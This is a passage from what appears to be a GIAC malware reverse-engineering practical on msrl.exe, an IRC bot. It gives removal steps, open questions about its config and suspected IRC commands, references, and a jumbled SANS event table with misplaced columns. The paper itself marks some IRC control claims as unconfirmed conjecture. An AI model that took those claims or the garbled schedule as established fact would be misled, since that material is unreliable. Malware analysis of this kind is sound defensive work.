<td>In the list of running programs, find and highlight MSRLL.EXE.</td>
</tr>
<tr>
<td>4.</td>
<td>Press the “End Task” or “End Process” button.</td>
</tr>
<tr>
<td>5.</td>
<td>Ensure that the “msrl.exe” process has been killed by closing the Task Manager, and then open it again to refresh all process information.</td>
</tr>
<tr>
<td>6.</td>
<td>Close the Task Manager.</td>
</tr>
</tbody>
</table>

If the Windows Task Manager does not show the msrl.exe process, other process viewers could be used to terminate the malware process.

Removing entries from the registry:

Removing the services entries from the registry prevents msrl.exe running when the computer boots:

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>1.</td>
<td>Open the Registry editor by clicking “Start” then “Run.” Type REGEDIT and press the Enter key.</td>
</tr>
</tbody>
</table>
| 2. | In the left panel, locate and delete the following entries:  
HKEY_LOCAL_MACHINE>System>CurrentControlSet>Services>mfm  
HKEY_LOCAL_MACHINE>System>ControlSet001>Services>mfm  
It would also be wise to check for entries in other ControlSets such as:  
HKEY_LOCAL_MACHINE>System>ControlSet002>Services>mfm |
HKEY_LOCAL_MACHINE>System>ControlSet004>Services>mfm

Searching for "mfm" with the Search function in Regedit may help facilitate this.

3. Close the Registry editor.

Removing directories and files:

1. Right click on the “Start” button, Left click on “Explore.”
2. Delete the mfm directory created by msrl.exe, usually found in
   C:\Windows\System on Windows 95, 98 and ME, C:\WINNT\System32 on
   Windows NT and 2000, and C:\Windows\System32 on Windows XP.
3. Close Explorer window.

Unresolved questions:

The jtram.conf file contained settings, not all of which were understood:

1. The jtr.id which was pre set to “run5.” The function or purpose is unknown.
2. The “pass” variable was pre set to an encrypted hash and it was suspected to be
   the password used when authenticating from an IRC channel. However, this was
   conjecture. Its real function is unknown.
3. Can the encrypted ciphertext in jtram.conf be decrypted? The right components,
   password, seed, etc., may possibly be obtained from msrl.exe. The string
   "DiCHFc2ioiVmb3cb4z7zWZH1oM=" was seen to be closely associated with the
   encryption process and may be the password.

Msrl.exe commands:

1. Several commands did not appear to perform. Their exact purpose is still
   unknown.

IRC channel communication:

1. It was highly suspected that the msrl.exe “bots” could be authenticated to, and
   controlled from, an IRC channel. This was not confirmed, however, only
   conjectured.
2. The ?login command was suspected to be the main mechanism for IRC
   authentication. This was not confirmed, however, only conjectured.

In summary, the purpose of this practical was to demonstrate the analytical process and
methodology involved in analyzing an unknown malware specimen. A thorough review
of the specimen provided an over-all understanding of the function, purpose, and
capabilities of the malware.
List of References

GIAC  “GIAC Certified Reverse Engineering Malware (GREM) Practical Assignment Version 1.0:” July 23, 2004

CrackZ, , “Packers & Unpackers” May 6, 2004

ASPACK Software “ASPACK for Windows 95,98,ME,NT4,200,XP” June 14, 2004
[http://www.entechtaiwan.com/aspack.htm] which was redirected to

LIUtilities ( Uniblue Systems LTD ) “System DLLs Listed in the WinTasks DLL Library”

CrackZ “Packers & Unpackers - ASPack & ASProtect” May 6, 2004

Mike and Judy at NewIRCusers.com “Newbies FAQ”

Used For Reference Only:

Friedl,Steve “An Illustrated Guide to Cryptographic Hashes” September, 18, 2004

NIST, AES NIST home page, February 28, 2001

Duntmann, Jeff “Assembly Language Step-by-Step”
Wiley Computer Publishing 2000

Prentice Hall 2004

Koziol,Jack Litchfield, David Aitel, Dave Anley, Chris Eren, Sinan Mehta, Neel Hassell, Riley “The Shellecoder’s Handbook”
Wiley Publishing, Inc 2004
## Upcoming SANS Forensics Training

<table>
<thead>
<tr>
<th>Event</th>
<th>Location</th>
<th>Dates</th>
<th>Format</th>
</tr>
</thead>
<tbody>
<tr>
<td>Tools and Techniques</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Live Online: FOR500: Windows Forensic Analysis</td>
<td></td>
<td>Jul 06, 2020 - Jul 17, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>SANS DFIR: Summer Breach 2020</td>
<td>United Arab Emirates</td>
<td>Jul 06, 2020 - Jul 11, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Live Online - FOR508: Advanced Incident Response, Threat</td>
<td>United Arab Emirates</td>
<td>Jul 09, 2020 - Aug 17, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Hunting, and Digital Forensics</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>DFIR Summit &amp; Training 2020</td>
<td>Virtual - US Eastern,</td>
<td>Jul 16, 2020 - Jul 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Summer Cases: SANS DFIR 2020</td>
<td>United Arab Emirates</td>
<td>Jul 20, 2020 - Jul 31, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Summer of Cyber</td>
<td>Jul 27</td>
<td>Aug 1, 2020 - Jul 01, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Aug 3 MT</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>South by Southeast Asia Online 2020</td>
<td>Singapore</td>
<td>Aug 03, 2020 - Aug 14, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Special Investigations 2020</td>
<td>United Arab Emirates</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Reboot - NOVA 2020 - Live Online</td>
<td>Arlington, VA</td>
<td>Aug 10, 2020 - Aug 15, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Hunting, and Digital Forensics</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Community SANS Columbia FOR572 @ UKI</td>
<td>Columbia, MD</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>Cyber Defence APAC Live Online 2020</td>
<td>Singapore</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Summer Forensics Europe 2020</td>
<td>United Arab Emirates</td>
<td>Aug 17, 2020 - Aug 28, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Amsterdam August 2020 Part 2</td>
<td>Amsterdam, Netherlands</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Aug 17 ET</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS FOR508 Canberra August 2020</td>
<td>Canberra, Australia</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Aug 24 MT</td>
<td>Aug 24, 2020 - Aug 29, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Virginia Beach 2020 - Live Online</td>
<td>Virginia Beach, VA</td>
<td>Aug 30, 2020 - Sep 04, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Virginia Beach 2020</td>
<td>Virginia Beach, VA</td>
<td>Aug 30, 2020 - Sep 04, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Philippines 2020</td>
<td>Manila, Philippines</td>
<td>Sep 07, 2020 - Sep 19, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS London September 2020</td>
<td>London, United Kingdom</td>
<td>Sep 07, 2020 - Sep 12, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Baltimore Fall 2020 - Live Online</td>
<td>Baltimore, MD</td>
<td>Sep 08, 2020 - Sep 13, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Baltimore Fall 2020</td>
<td>Baltimore, MD</td>
<td>Sep 08, 2020 - Sep 13, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Threat Hunting &amp; Incident Response Summit &amp; Training 2020</td>
<td>New Orleans, LA</td>
<td>Sep 10, 2020 - Sep 17, 2020</td>
<td>Live Event</td>
</tr>
</tbody>
</table>